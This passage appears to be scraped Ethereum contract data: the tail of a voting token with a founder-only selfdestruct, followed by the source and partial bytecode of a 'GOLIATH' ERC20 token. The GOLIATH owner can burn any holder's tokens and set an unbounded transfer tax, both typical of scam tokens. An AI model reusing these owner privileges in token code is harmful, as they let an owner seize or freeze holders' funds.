SafeMath.add(votingInfo[_to][msg.sender], votesNum); emit Vote(msg.sender, _to, votesNum); return true; } function setEndTime(uint256 _endTime) public { require(msg.sender == founder); voteEndTime = _endTime; } function ticketsOf(address _owner) view public returns (uint256 tickets) { return SafeMath.sub(balances[_owner], frozen[_owner]); } function changeFounder(address newFounder) public { require(msg.sender == founder); founder = newFounder; } function kill() public { require(msg.sender == founder); selfdestruct(founder); } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d357806318160ddd146102385780631909a52d1461026357806323b872dd146102da57806327e235e31461035f578063313ce567146103b657806331657926146103e157806341c0e1b5146104385780634d853ee51461044f5780635f74bbde146104a657806370a082311461050b57806393c32e061461056257806395d89b41146105a55780639e6cb42b14610635578063a4fe662f14610660578063a9059cbb146106b7578063b319e9fa1461071c578063b84fe73b146107dd578063ccb98ffc14610838578063d051665014610865578063dd62ed3e146108bc578063f84b903e14610933578063fb9321081461095e575b600080fd5b34801561014f57600080fd5b506101586109c3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019857808201518184015260208101905061017d565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fc565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b5061024d610aee565b6040518082815260200191505060405180910390f35b34801561026f57600080fd5b506102c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af7565b6040518082815260200191505060405180910390f35b3480156102e657600080fd5b50610345600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b1c565b604051808215151515815260200191505060405180910390f35b34801561036b57600080fd5b506103a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611050565b6040518082815260200191505060405180910390f35b3480156103c257600080fd5b506103cb611068565b6040518082815260200191505060405180910390f35b3480156103ed57600080fd5b50610422600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061106d565b6040518082815260200191505060405180910390f35b34801561044457600080fd5b5061044d6110fe565b005b34801561045b57600080fd5b50610464611195565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b257600080fd5b506104f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111bb565b604051808215151515815260200191505060405180910390f35b34801561051757600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611512565b6040518082815260200191505060405180910390f35b34801561056e57600080fd5b506105a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611737565b005b3480156105b157600080fd5b506105ba6117d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105fa5780820151818401526020810190506105df565b50505050905090810190601f1680156106275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561064157600080fd5b5061064a611810565b6040518082815260200191505060405180910390f35b34801561066c57600080fd5b506106a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611816565b6040518082815260200191505060405180910390f35b3480156106c357600080fd5b50610702600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061182e565b604051808215151515815260200191505060405180910390f35b34801561072857600080fd5b506107c36004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611c51565b604051808215151515815260200191505060405180910390f35b3480156107e957600080fd5b5061081e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f36565b604051808215151515815260200191505060405180910390f35b34801561084457600080fd5b5061086360048036038101908080359060200190929190505050612306565b005b34801561087157600080fd5b506108a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061236c565b6040518082815260200191505060405180910390f35b3480156108c857600080fd5b5061091d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612384565b6040518082815260200191505060405180910390f35b34801561093f57600080fd5b5061094861240b565b6040518082815260200191505060405180910390f35b34801561096a57600080fd5b506109a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612411565b604051808215151515815260200191505060405180910390f35b6040805190810160405280601381526020017f5452554520546f67657468657220546f6b656e0000000000000000000000000081525081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008054905090565b6009602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610b4357600080fd5b600254421115610da95781600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610c18575081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515610c2357600080fd5b610c6c600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836125f0565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cf8600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611049565b610df2600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610ebc575081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515610ec757600080fd5b610f10600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836125f0565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9c600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b60066020528060005260406000206000915090505481565b601281565b60006110f7600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f0565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808373ffffffffffffffffffffffffffffffffffffffff16141580156111e4575060025442105b15156111ef57600080fd5b611238600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561128557600080fd5b6112ce600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061135a600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611423600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f66a9138482c99e9baf08860110ef332cc0c23b4a199a53593d8db0fc8f96fbfc846040518082815260200191505060405180910390a36001905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561157c575060005461157a600454600354612609565b105b8015611589575060025442105b156116f0576001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506115f4600454600354612609565b600481905550611645600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600354612609565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040518082815260200191505060405180910390a35b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600381526020017f545452000000000000000000000000000000000000000000000000000000000081525081565b60025481565b60086020528060005260406000206000915090505481565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561185557600080fd5b600254421115611a335781600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156118ad57600080fd5b6118f6600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836125f0565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611982600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611c4b565b611a7c600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611ac957600080fd5b611b12600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836125f0565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9e600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cb257600080fd5b6000915060009050600090505b8451811015611cf857611ce9828583815181101515611cda57fe5b90602001906020020151612609565b91508080600101915050611cbf565b600054611d0760045484612609565b101515611d1357600080fd5b600090505b8451811015611f2a57611d446004548583815181101515611d3557fe5b90602001906020020151612609565b600481905550611dc1600660008784815181101515611d5f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548583815181101515611db257fe5b90602001906020020151612609565b600660008784815181101515611dd357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600560008784815181101515611e2f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508481815181101515611e9857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8684815181101515611efe57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611d18565b60019250505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1614158015611f61575060025442105b1515611f6c57600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515611ff857600080fd5b612080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f0565b9050600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061214e600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612609565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612217600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612609565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f66a9138482c99e9baf08860110ef332cc0c23b4a199a53593d8db0fc8f96fbfc836040518082815260200191505060405180910390a36001915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561236257600080fd5b8060028190555050565b60076020528060005260406000206000915090505481565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60045481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561246f57600080fd5b60005461247e60045484612609565b1115151561248b57600080fd5b61249760045483612609565b6004819055506124e6600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612609565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156125fe57fe5b818303905092915050565b600080828401905083811015151561261d57fe5b80915050929150505600a165627a7a72305820e53fc43a8d1a04ae63d21cfc878e4f0f57d9cb0ea1834af9ca61a702e0dbb27d0029
[ 38 ]
0xf2bb13ff250e36ebe2e4f5b8324e9ddf12f448a3
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { _owner = 0x6Ca7249209F82A0578781Cd51B32FfB7BDA8D3c0; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract GOLIATH is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private mainWallet; uint8 private taxPercent = 1; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (address _mainwallet) { mainWallet = _mainwallet; _name = "GOLIATH"; _symbol = "GOLIATH"; _totalSupply = 50000000 * (10**decimals()); _balances[owner()] = _totalSupply; emit Transfer(address(0),owner(),_totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } function getTaxAddress() public view returns(address) { return mainWallet; } function getTaxPercent() public view returns(uint8) { return taxPercent; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function burn(address account,uint256 amount) public onlyOwner { _burn(account,amount); } function calculateTax(address account,uint256 amount) internal { uint256 calculate = amount * taxPercent / 100; _balances[account] -= calculate; _balances[mainWallet] += calculate; } function setTaxWallet(address newWallet) external onlyOwner { mainWallet = newWallet; } function setNewTaxPercent(uint8 newPercent) external onlyOwner { taxPercent = newPercent; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; calculateTax(recipient,amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806395d89b41116100ad578063b729322911610071578063b729322914610320578063d37324a51461033e578063dd62ed3e1461035a578063ea414b281461038a578063f2fde38b146103a657610121565b806395d89b411461026857806398a9cfac146102865780639dc29fac146102a4578063a457c2d7146102c0578063a9059cbb146102f057610121565b8063313ce567116100f4578063313ce567146101c257806339509351146101e057806370a0823114610210578063715018a6146102405780638da5cb5b1461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103c2565b60405161013b9190611896565b60405180910390f35b61015e60048036038101906101599190611605565b610454565b60405161016b919061187b565b60405180910390f35b61017c610472565b6040516101899190611a18565b60405180910390f35b6101ac60048036038101906101a791906115b6565b61047c565b6040516101b9919061187b565b60405180910390f35b6101ca61057d565b6040516101d79190611a33565b60405180910390f35b6101fa60048036038101906101f59190611605565b610586565b604051610207919061187b565b60405180910390f35b61022a60048036038101906102259190611551565b610632565b6040516102379190611a18565b60405180910390f35b61024861067b565b005b6102526107b5565b60405161025f9190611860565b60405180910390f35b6102706107de565b60405161027d9190611896565b60405180910390f35b61028e610870565b60405161029b9190611a33565b60405180910390f35b6102be60048036038101906102b99190611605565b610887565b005b6102da60048036038101906102d59190611605565b610911565b6040516102e7919061187b565b60405180910390f35b61030a60048036038101906103059190611605565b610a05565b604051610317919061187b565b60405180910390f35b610328610a23565b6040516103359190611860565b60405180910390f35b61035860048036038101906103539190611641565b610a4d565b005b610374600480360381019061036f919061157a565b610ae7565b6040516103819190611a18565b60405180910390f35b6103a4600480360381019061039f9190611551565b610b6e565b005b6103c060048036038101906103bb9190611551565b610c2e565b005b6060600480546103d190611c07565b80601f01602080910402602001604051908101604052809291908181526020018280546103fd90611c07565b801561044a5780601f1061041f5761010080835404028352916020019161044a565b820191906000526020600020905b81548152906001019060200180831161042d57829003601f168201915b5050505050905090565b6000610468610461610dd7565b8484610ddf565b6001905092915050565b6000600354905090565b6000610489848484610faa565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d4610dd7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054b90611958565b60405180910390fd5b61057185610560610dd7565b85846